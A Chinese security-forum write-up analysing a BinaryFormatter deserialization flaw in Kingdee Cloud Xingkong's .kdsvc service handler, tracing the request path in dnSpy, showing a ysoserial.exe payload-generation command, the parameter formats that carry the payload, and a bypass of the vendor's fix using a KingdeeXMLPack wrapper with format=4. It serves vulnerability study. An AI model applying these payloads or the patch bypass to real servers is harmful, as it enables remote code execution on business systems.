奇安信攻防社区-某云的反序列漏洞及绕过思路分析

某云的反序列漏洞及绕过思路分析

最近看到Kingdee星空反序列化漏洞各种各样的接口，本文将分析其漏洞原理及绕过思路，入门学习.NET程序的调试过程。

某云的反序列漏洞及绕过思路分析
===============

0x00 漏洞前言
---------

最近看到Kingdee星空反序列化漏洞各种各样的接口，本文将分析其漏洞原理及绕过思路，入门学习.NET程序的调试过程。

0x01 调试环境
---------

参照网络上Kingdee星空安装教程搭建即可，调试工具使用dnspy：

1、搜索dll文件定位exe程序

![image-20231205162814438](https://shs3.b.qianxin.com/butian_public/f3422961dac2c3e69652a1cee8553f86e05a0d4a250ae.jpg)

2、附加进程到dnSpy中

调试--&gt;附加到进程(P)--&gt;附加

3、搜索要调试的程序集

调试--&gt;窗口--&gt;模块(如果搜不到说明dll文件还没加载进来，先触发使其加载后再搜索)

![image-20231205165053340](https://shs3.b.qianxin.com/butian_public/f736378d933c18f600ae5e5efbb915bb7caa8deb748d8.jpg)

4、断点调试

注意：如果调试时dnSpy报错：`无法获取局部变量或参数的值，因为它在此时不可用，可能是被优化了`

![image-20231205152932598](https://shs3.b.qianxin.com/butian_public/f493145a64ce97dc89b9bb329ed7ba99f431e916a9e17.jpg)

根据 [dnSpy的wiki描述](https://github.com/dnSpy/dnSpy/wiki/Making-an-Image-Easier-to-Debug)：创建ini文件禁用编译优化(创建完后需重启iis服务器)；配置环境变量。

0x02 漏洞分析
---------

根据网络上的POC可以发现漏洞的url路径都是以`.kdsvc`结尾的，我们在web.config文件中搜索可以发现handlers对Http Request请求做了处理：

![image-20231205145807144](https://shs3.b.qianxin.com/butian_public/f437716c7c532c27e5fe2437a3d28432a01f7e8ab1ef9.jpg)

```php
path="*kdsvc"
处理程序要处理的请求路径，即当应用程序收到路径以kdsvc结尾的请求时进行处理
verb="*"
处理程序要处理的HTTP动作，在这里*表示该处理程序将处理所有类型的HTTP请求包括GET、POST等
type="xxx,xxx"
处理程序的类型，这里的类型由两部分组成，处理程序类型的完全限定名,命令空间(dll文件)
```

断点入口找到dll文件展开后定位到具体类：`Kingdee.BOS.ServiceFacade.KDServiceFx.KDServiceHandler`，该类是对传入的url参数进行处理后返回程序实例KDSVCHandler：

![image-20231205171151154](https://shs3.b.qianxin.com/butian_public/f1897153cbc99d56c55378bec62587390188b19e96055.jpg)

查看该处理器，第一个方法为`ProcessRequest`：

![image-20231206161045763](https://shs3.b.qianxin.com/butian_public/f6000111b47432b02661daa2bc671e4005bd19abdf8b5.jpg)

其中方法`RequestExtractor#Creat`是对HTTP Request请求做处理，判断请求方法、是否为json格式：

![image-20231206162514430](https://shs3.b.qianxin.com/butian_public/f3935128dc42fe30c12d0578bc29b1f175932862ca161.jpg)

我们可以看到方法`IsContainsJson`根据ContentType是否包含json返回flag：

![image-20231206162729205](https://shs3.b.qianxin.com/butian_public/f48551631ed297409bd768bf5492012b6e9cc8a1ffead.jpg)

然后通过`requestExtractor = new JQueryRequestExtractor(request, isGet)`将request传递的值进行属性的赋值：

![image-20231206172733816](https://shs3.b.qianxin.com/butian_public/f9770647ddc6dffcf0b3c669ba9e6b45029dce7f4ecf1.jpg)

继续跟进该实例的方法`RequestExcuteRuntime#StartRequest`，该方法用于处理HTTP请求并根据请求的情况执行相应的逻辑包含返回相应状态码等：

![image-20231206112439778](https://shs3.b.qianxin.com/butian_public/f608455772d173e6e1d01a2fcf10cef6aed3375e349c0.jpg)

方法`RequestExcuteRuntime#StartRequest`里调用了方法`RequestExcuteRuntime#BeginRquest`，方法在处理完会话信息后，继续执行到69行我们可以发现这里的path为我们传递的url ，通过`webCtx.Context.Server.MapPath(path)` 生成一个localFile，接着调用了`ServiceTypeManager#BuidServiceType`方法：

![image-20231206113840439](https://shs3.b.qianxin.com/butian_public/f2408638b8f64763591d1a49bc03a0d9d54ba332feb69.jpg)

跟进该方法可以发现，首先会判断localFile是否包含`common.kdsvc`，如果包含会进入`ServiceTypeManager.ReflectServiceType`方法，该方法会通过查找缓存或在程序集中搜索提取出类名和方法名等：

![image-20231206114549901](https://shs3.b.qianxin.com/butian_public/f41605753682f572bb283a7b18fff52eb6bcd4b5ce338.jpg)

接着`RequestExcuteRuntime#BeginRquest`方法会走到`RequestExcuteRuntime.pipeline.ExcuteRequest(kdserviceContext)`处：

![image-20231206151350980](https://shs3.b.qianxin.com/butian_public/f663557001036dd23a0efeef11a97e06b0c96cc2fe1dc.jpg)

跟进方法可以看到，对Modules的遍历会进入不同的OnProcess方法(是对request请求校验：分别为是否为https、session信息、version信息以及API鉴权)：

![image-20231206151556338](https://shs3.b.qianxin.com/butian_public/f475681e45269bc992b4a11cb30a3e0be31d5e176000f.jpg)

最后一次循环会进入`ExecuteServiceModule#OnProcess`方法中：

![image-20231206175314632](https://shs3.b.qianxin.com/butian_public/f4606696d18679e8b57fe92a9c23afb17097338957fba.jpg)

方法`RequestExtractor#GetServiceParameters`用于处理参数的提取和验证(即payload位置这里重点关注下)，对传入的参数进行判断，首先判断参数是否包含`parameters`，如果包含则创建一个JSON数组；当payload传入的参数为ap0时，会进入else里遍历所有的ap+数字：

![image-20231206174524352](https://shs3.b.qianxin.com/butian_public/f82780823205eda29dbf04142be3751e569f88337163e.jpg)

所以这里我们猜想payload的参数位置应该可以为两个：

```php
{"parameters": "[\"payload\"]"}
{"ap*": "payload"}
```

对参数处理完后方法进入如下：

```php
SerializerProxy serializeProxy = new SerializerProxy(requestExtractor.Format, contentEncoding, requestExtractor.Compressed, requestExtractor.UserAgent, requestExtractor.UrlForm_Encode);
```

this.Format=format对传入的参数format定义，我们传入的format=3会匹配到Binary(直接给format赋值为 Binary也是可以的)：

![image-20231206180628658](https://shs3.b.qianxin.com/butian_public/f60775261960a50b03c9e86ec05b6a5646613e8cf7f65.jpg)

接着会到`ServiceExecutor#Execute`方法：

![image-20231206152041905](https://shs3.b.qianxin.com/butian_public/f86156980588209e616f3f2027b602ced1e00666f2cfc.jpg)

该方法首先需要用构造函数参数来实例化一个特定类型的对象obj且传参只能为context即`KDServiceContext`，然后调用不同的`serializer.Deserializer`进行反序列化处理，所以如果任意一个类型的构造函数支持传递该参数都可以进入反序列化：

![image-20231207150855570](https://shs3.b.qianxin.com/butian_public/f204665ac0e93e166cba6a4f250e9e12d0adb5edf5b54.jpg)

进入的第一个反序列化方法为`SerializerProxy#Deserialize`，该方法用来对参数类型做判断方法如下，参数类型不能为（string、int、byte、float...）：

```asp
        public object Deserialize(string content, Type type)
        {
            if (string.IsNullOrEmpty(content))
            {
                if (type.IsValueType)
                {
                    return Activator.CreateInstance(type);
                }
                if (type.Equals(typeof(string)))
                {
                    return content;
                }
                return null;
            }
            else if (type == typeof(string))
            {
                if (this.proxy.RequireEncoding)
                {
                    byte[] array = this.proxy.Encoder.Decoding(content);
                    return this.encoding.GetString(array, 0, array.Length);
                }
                return content;
            }
            else
            {
                if (type.IsEnum)
                {
                    return Enum.Parse(type, content, true);
                }
                if (type == typeof(int))
                {
                    return int.Parse(content);
                }
                if (type == typeof(byte))
                {
                    return byte.Parse(content);
                }
                if (type == typeof(float))
                {
                    return float.Parse(content);
                }
                if (type == typeof(double))
                {
                    return double.Parse(content);
                }
                if (type == typeof(long))
                {
                    return long.Parse(content);
                }
                if (type == typeof(DateTime))
                {
                    return DateTime.Parse(content);
                }
                if (type == typeof(decimal))
                {
                    return decimal.Parse(content);
                }
                if (type == typeof(bool))
                {
                    return bool.Parse(content);
                }
                return this.proxy.Deserialize(content, type);
            }
        }
```

最终进入`BinaryFormatterProxy#Deserialize`方法中通过`BinaryFormatter#Deserialize`方法实现反序列化（根据微软描述：[将BinaryFormatter.Deserialize方法用于不受信任的输入时，该方法永远都不安全](https://learn.microsoft.com/zh-cn/dotnet/standard/serialization/binaryformatter-security-guide?source=recommendations#binaryformatter-security-vulnerabilities)）：

![image-20231207144047221](https://shs3.b.qianxin.com/butian_public/f206125b480a1913f735c76b43a1b5f34759bc7861066.jpg)

0x03 漏洞总结
---------

1、Url路径：`程序集.满足条件的类.common.kdsvc`

满足构造函数支持传递KDServiceContext类型，且传递参数不为上述`SerializerProxy#Deserialize`方法中的类型即可，我们可以看到在程序集`Kingdee.BOS.ServiceFacade.ServicesStub`中满足条件的类非常多，这里我们就找第一个类说明下：

![image-20231207154931752](https://shs3.b.qianxin.com/butian_public/f386821db970056a36955d13687430847d95e07056dee.jpg)

再找一个满足传参的类，如：

```asp
SaveBizTipsInfos(string bizHost, List<IBizTipsInfos> tips)
```

2、参数

1. 使用ap作为参数

由于第一个参数为string所以我们需要用第二个参数来传递payload，这里我们用ysoserial.exe生成：

```php
ysoserial.exe -c "a.cs;System.Windows.Forms.dll;System.Web.dll;System.dll" -f BinaryFormatter -o base64 -g ActivitySurrogateSelectorFromFile
```

![image-20231207155405575](https://shs3.b.qianxin.com/butian_public/f6338069f6553a456fbce2ed9869ce3f526294fda5168.jpg)

2. 使用parameters作为参数

parameters根据上述`RequestExtractor#GetServiceParameters`方法可以得知，需要传递一个数组对象，同样由于第一个参数为string不能放payload，所以将paylaod放置在数组的第二个位置即可：

![image-20231207172937604](https://shs3.b.qianxin.com/butian_public/f256701cf055b19420a73c361c837b815f3c6048dc885.jpg)

0x04 修复&amp;绕过
--------------

漏洞修复：启用金蝶数据签名校验格式KigndeeXml格式并禁用了二进制序列化：

```php
<add key="KDSVCDefaultFormat" value="4"/>
<add key="EnabledKDSVCBinary" value="false"/>
```

绕过思路：修改format为4，即赋值为KingdeeXml，我们可以看到代码最终还是会通过`BinaryFormatter#Deserialize`反序列化为KingdeeXMLPack对象：

```asp
KingdeeXMLPack kingdeeXMLPack = obj as KingdeeXMLPack;
if (kingdeeXMLPack != null)
{
    BinaryFormatterProxy binaryFormatterProxy = new BinaryFormatterProxy(this.encoding, false);
    obj = binaryFormatterProxy.Deserialize(kingdeeXMLPack.Data, type);
}
```

所以我们可以将参数修改为KingdeeXMLPack形式：

```php
{"ap0": "<KingdeeXMLPack>BinaryPayload</KingdeeXMLPack>", "format": "4"}
```

我们发现也是可以成功执行的：

![image-20231214151852764](https://shs3.b.qianxin.com/butian_public/f9747718f2f9a085b4d3a3cff04b22723664ea6c09cb0.jpg)

发表于 2023-12-28 10:00:01
阅读 ( 15810 )
分类：漏洞分析

1 条评论

郑辣鸡 2023-12-28 12:41

经常看到老哥发文，真是勤快,赞！